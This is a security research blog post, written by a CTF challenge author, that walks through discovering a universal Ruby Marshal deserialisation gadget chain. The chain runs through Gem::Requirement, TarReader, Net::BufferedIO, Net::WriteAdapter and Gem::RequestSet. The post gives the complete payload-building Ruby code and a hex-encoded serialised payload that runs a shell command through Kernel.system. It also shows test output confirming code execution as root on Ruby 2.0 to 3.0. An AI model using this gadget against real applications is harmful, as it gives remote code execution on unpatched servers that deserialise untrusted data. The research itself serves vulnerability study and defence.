Universal Deserialisation Gadget for Ruby 2.x-3.x
Update 2022-04
This has been patched and so will only works for Ruby 3.0.2 and below:
One of the challenges I wrote for pbctf 2020 involved exploiting deserialisation in a rails app to get code execution and retrieve the flag. The challenge was running with ruby 2.7.2 and rails 6.1, which meant that the existing public gadgets no longer worked and players had to discover a new one.
While researching, I came across a fantastic article published by elttam titled Ruby 2.x Universal RCE Deserialization Gadget Chain. It goes into great detail on how they came up with a universal gadget that did not require anything other than the default gems to be loaded, well worth a read if you haven’t already.
Since the challenge was written using rails, there was a lot more gems and classes to choose from compared to just the defaults. There were a few great solutions to the challenge by players, the one I found combined the original DeprecatedInstanceVariableProxy
gadget to call the execute
method on ActiveModel::AttributeMethods::ClassMethods::CodeGenerator to achieve code execution.
After the ctf was over I decided to keep looking around to see if I could find another universal gadget, as the Gem::StubSpecification
gadget used in the elttam article was patched in ruby 2.7+.
I started off trying to find a class to be used as a replacement for Gem::StubSpecification
, something that allowed for code execution, eval, or the ability to call arbitrary methods. Using the same autoload
trick in the elttam article and lots of regex searches in RubyMine, I came across Net::WriteAdapter:
class WriteAdapter
def initialize(socket, method)
@socket = socket
@method_id = method
end
def inspect
"#<#{self.class} socket=#{@socket.inspect}>"
end
def write(str)
@socket.__send__(@method_id, str)
end
alias print write
def <<(str)
write str
self
end
def puts(str = '')
write str.chomp("\n") + "\n"
end
def printf(*args)
write sprintf(*args)
end
end
It looked very promising as @socket
and @method_id
could both be set to anything, and if a way to call any of the methods write
, print
, <<
, puts
or printf
could be found it would allow any method to be called on an object.
After many dead ends and a lot more searching I found Net::BufferedIO, which had the following LOG
method:
def read(len, dest = ''.b, ignore_eof = false)
LOG "reading #{len} bytes..."
#...
def LOG(msg)
return unless @debug_output
@debug_output << msg + "\n"
end
def eof?
@io.eof?
end
This was called by both read
and readall
, so it could be chained to Net::WriteAdapter
if a way to call read
could be found.
I had also started looking for initial/kick-off gadgets, similar to the Gem::Requirement
one that called each
in the elttam article. One of the interesting ones found was Gem::Version which allowed calling to_s
on any object (relevant code):
# we can fully control the objects in this array
def marshal_load(array)
initialize array[0]
end
def initialize(version)
# first thing is the version check
unless self.class.correct?(version)
raise ArgumentError, "Malformed version number string #{version}"
end
version = 0 if version.is_a?(String) && version =~ /\A\s*\Z/
@version = version.to_s.strip.gsub("-",".pre.")
@segments = nil
end
def self.correct?(version)
unless Gem::Deprecate.skip
warn "nil versions are discouraged and will be deprecated in Rubygems 4" if version.nil?
end
# here to_s is called on our object
!!(version.to_s =~ ANCHORED_VERSION_PATTERN)
end
To find these methods, I slightly modified the existing marshal_load
method check to quickly see what implemented a function:
def check(functions)
ObjectSpace.each_object(::Class) do |obj|
all_methods = (obj.instance_methods + obj.private_instance_methods).uniq
functions.each do |function|
if all_methods.include? function
method_origin = obj.instance_method(function).inspect[/\((.*)\)/, 1] || obj.to_s
unless method_origin.nil? || method_origin == ''
puts obj
puts " #{function} defined by #{method_origin}"
puts " ancestors = #{obj.ancestors}"
puts
end
end
end
end
end
This opened up more options for finding gadgets, as there are quite a few to_s
methods implemented compared to marshal_load
. A few examples that were found:
Gem::Resolver::ActivationRequest which would allow for name
, version
, or platform
to be called on a controllable object:
class Gem::Resolver::ActivationRequest
alias_method :to_s, :full_name
def full_name
name_tuple.full_name
end
def name_tuple
@name_tuple ||= Gem::NameTuple.new(name, version, platform)
end
def name
@spec.name
end
def version
@spec.version
end
def platform
@spec.platform
end
OptionParser::ParseError which allowed join
to be called, as well as the []
method with a controlled argument:
class ParseError < RuntimeError
def initialize(*args, additional: nil)
@additional = additional
@arg0, = args
@args = args
@reason = nil
end
attr_reader :args
attr_writer :reason
attr_accessor :additional
alias to_s message
def message
"#{reason}: #{args.join(' ')}#{additional[@arg0] if additional}"
end
def reason
@reason || self.class::Reason
end
I went back to the other end of the gadget chain and started looking for places that called read
on an object, and eventually discovered
Gem::Package::TarReader and Gem::Package::TarHeader:
class Gem::Package::TarReader
def each
return enum_for __method__ unless block_given?
use_seek = @io.respond_to?(:seek)
until @io.eof? do
header = Gem::Package::TarHeader.from @io
return if header.empty?
# snip
end
end
class Gem::Package::TarHeader
def self.from(stream)
header = stream.read 512
empty = (EMPTY_HEADER == header)
# snip
end
end
Since there already was initial gadget to call each
(thanks to elttam) it looked very promising, a chain such as Gem::Requirement#marshal_load -> Gem::Package::TarReader#each -> Gem::Package::TarHeader#from -> Net::BufferedIO#read -> Net::BufferedIO#LOG -> Net::WriteAdapter#<<
could be created. This would allow for any method to be called, so long as it accepted a single parameter. Unfortunately, the content of the parameter was not controllable, but it was still a very powerful gadget.
For TarHeader.from
to be called, a class that had a falsey eof?
method was needed to pass the conditional. A suitable choice wasGem::Package::TarReader::Entry as the result of the eof?
call was easily controllable:
class Gem::Package::TarReader::Entry
##
# Is the tar entry closed?
def closed?
@closed
end
##
# Are we at the end of the tar entry?
def eof?
check_closed
@read >= @header.size
end
def check_closed # :nodoc:
raise IOError, "closed #{self.class}" if closed?
end
All of this could now be put together, giving the ability to call arbitrary methods on an object:
# Autoload the required classes
Gem::SpecFetcher
Gem::Installer
# prevent the payload from running when we Marshal.dump it
module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end
wa = Net::WriteAdapter.new(Kernel, :vakzz)
io = Gem::Package::TarReader::Entry.allocate
io.instance_variable_set('@read', 0)
io.instance_variable_set('@header', "aaa")
n = Net::BufferedIO.allocate
n.instance_variable_set('@io', io)
n.instance_variable_set('@debug_output', wa)
t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)
r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)
payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts payload.inspect
puts Marshal.load(payload)
Traceback (most recent call last):
13: from /Users/will/.rubies/ruby-2.7.2/bin/irb:23:in `<main>'
12: from /Users/will/.rubies/ruby-2.7.2/bin/irb:23:in `load'
11: from /Users/will/.rubies/ruby-2.7.2/lib/ruby/gems/2.7.0/gems/irb-1.2.6/exe/irb:11:in `<top (required)>'
10: from (irb):297
9: from (irb):297:in `load'
8: from /Users/will/.rubies/ruby-2.7.2/lib/ruby/2.7.0/rubygems/requirement.rb:207:in `marshal_load'
7: from /Users/will/.rubies/ruby-2.7.2/lib/ruby/2.7.0/rubygems/requirement.rb:297:in `fix_syck_default_key_in_requirements'
6: from /Users/will/.rubies/ruby-2.7.2/lib/ruby/2.7.0/rubygems/package/tar_reader.rb:61:in `each'
5: from /Users/will/.rubies/ruby-2.7.2/lib/ruby/2.7.0/rubygems/package/tar_header.rb:103:in `from'
4: from /Users/will/.rubies/ruby-2.7.2/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
3: from /Users/will/.rubies/ruby-2.7.2/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
2: from /Users/will/.rubies/ruby-2.7.2/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
1: from /Users/will/.rubies/ruby-2.7.2/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
NoMethodError (undefined method `vakzz' for Kernel:Module)
The issue was that the argument to the call was not controllable, but now nearly any class and method could be used in the gadget chain. In the original search for ways to call the Net::WriteAdapter
methods, I had found quite a few that were discarded (due to being unlikely to have ways to call them) which could now be used. One of them was Gem::RequestSet#resolve:
def resolve(set = Gem::Resolver::BestSet.new)
@sets << set
@sets << @git_set
# snip
end
This was perfect as @sets
and @git_set
were both fully controllable, and the argument set
would be assigned the log message reading 512 bytes...
from the gadget chain. Another Net::WriteAdapter
gadget could be used for @sets
, it would end up calling the method with the uncontrolled data first but then again with the controlled @git_set
.
The final gadget could then be constructed to trigger a call to Kernel.system("id")
:
# Autoload the required classes
Gem::SpecFetcher
Gem::Installer
# prevent the payload from running when we Marshal.dump it
module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end
wa1 = Net::WriteAdapter.new(Kernel, :system)
rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "id")
wa2 = Net::WriteAdapter.new(rs, :resolve)
i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")
n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)
t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)
r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)
payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts payload.inspect
puts Marshal.load(payload)
sh: reading: command not found
uid=501(will) gid=20(staff) groups=20(staff),501(access_bpf),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),702(com.apple.sharepoint.group.2),703(com.apple.sharepoint.group.3),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae)
This gadget works for Ruby 2.x to 3.x and does not require anything other that the default classes to be loaded.
for i in `seq -f 2.%g 0 7; echo 3.0`; do echo -n "ruby:${i} - "; docker run --rm -it ruby:${i} ruby -e 'Marshal.load(["04085b08631547656d3a3a5370656346657463686572631347656d3a3a496e7374616c6c6572553a1547656d3a3a526571756972656d656e745b066f3a1c47656d3a3a5061636b6167653a3a546172526561646572063a0840696f6f3a144e65743a3a4275666665726564494f073b076f3a2347656d3a3a5061636b6167653a3a5461725265616465723a3a456e747279073a0a407265616469003a0c40686561646572492208616161063a0645543a124064656275675f6f75747075746f3a164e65743a3a577269746541646170746572073a0c40736f636b65746f3a1447656d3a3a52657175657374536574073a0d406769745f7365744922076964063b0c543a0a40736574736f3b0e073b0f6d0b4b65726e656c3a0f406d6574686f645f69643a0b73797374656d3b133a0c7265736f6c7665"].pack("H*")) rescue nil'; done
ruby:2.0 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.1 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.2 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.3 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.4 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.5 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.6 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.7 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:3.0 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)